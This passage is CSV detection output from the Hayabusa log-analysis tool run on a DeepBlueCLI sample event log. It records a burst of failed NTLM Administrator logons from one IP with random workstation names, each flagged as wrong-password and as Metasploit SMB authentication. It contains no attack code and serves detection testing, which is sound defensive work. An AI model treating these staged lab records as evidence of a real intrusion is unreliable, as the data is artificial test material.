Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.973 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rgF42C57Nx6F3HU3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:40.973 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.005 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KZfFH9geIrxVYowJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.005 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.039 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pWz1XeyxywR0o5gS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.039 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.083 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: og1kItEC6WhqXF37 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.083 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.121 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q0KhaJlD6tWwF2ky : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.121 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.165 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XUy0EKmjyD6ZYENA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.165 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.217 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h3MdGstPPFJDGzwG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.217 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.264 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VTs0ZQa6LGrKZKsY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.264 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.304 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FefzWjMXSvMdvqcw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.304 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.345 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hlnUt9tPRSXR5mWs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.345 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.384 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dehb4M6pcxi56Bkl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.384 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tLXHvGiUqZyxax4W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.437 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bP1gKcf1eeKm0RB1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.473 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ldbN1odP77n0BOzO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.525 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.562 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: drRC8qCbPe5e4mdR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.562 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.607 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lBg39AUtzZi6Q4iz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.607 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.650 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: huv5YEPo1n7UiFkq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.650 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9CLLwao1NDtBulxs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.693 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SB88EHHhDWhvJI87 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.732 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.782 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VtBvklueV4MZo3pJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.782 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.828 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: noha7Vw85VfURHik : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.828 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wl5eIYvoKpJGUcSl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.861 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bsS3JTLUWcFYvxAE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.921 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.957 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gjM6hj2bGxC124oZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:41.957 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.005 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V3IQkVcY5iMTxCRN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.005 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.045 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v44Kp3lpGKb6Xd4j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.045 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.082 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7e1skdEmGlXbzUWk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.082 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.181 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: feaA6lAxWjapFbAW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.181 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IJZjTqY5innWcvSZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.220 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.273 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ymXIp0KTw0vIbB0N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.273 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZpPJEcLv7BoZaQwT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.316 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Cz14Cv861RhFh0Pa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.357 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H8BklDHdS0cdcbGu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.385 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0m5Mznl2khRMj31V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.424 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.472 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ha6TuN7C8V0roSAK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.472 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.517 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9oBW0yE5a9zSkpIH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.517 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.566 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n54EaKOUQIX9geqx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.566 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.617 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m6WCg3o4oatO42wW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.617 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.656 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KfCwo8ZUWiBqI8zC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.656 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.692 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8potisENMIsbNxcd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.692 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WgagMNj95dkg9uQd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.732 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o1EVsGLFugwePvgR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.774 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6q00SeueJQAiBGpe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.816 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QWzSR1cJ2XJNirSW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.861 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.904 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 39MY5ZvRJSHVkZZV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.904 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.944 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WyOdltctwdHNkH6i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.944 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.989 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OUcWk0xJn9zVMZSF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:42.989 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 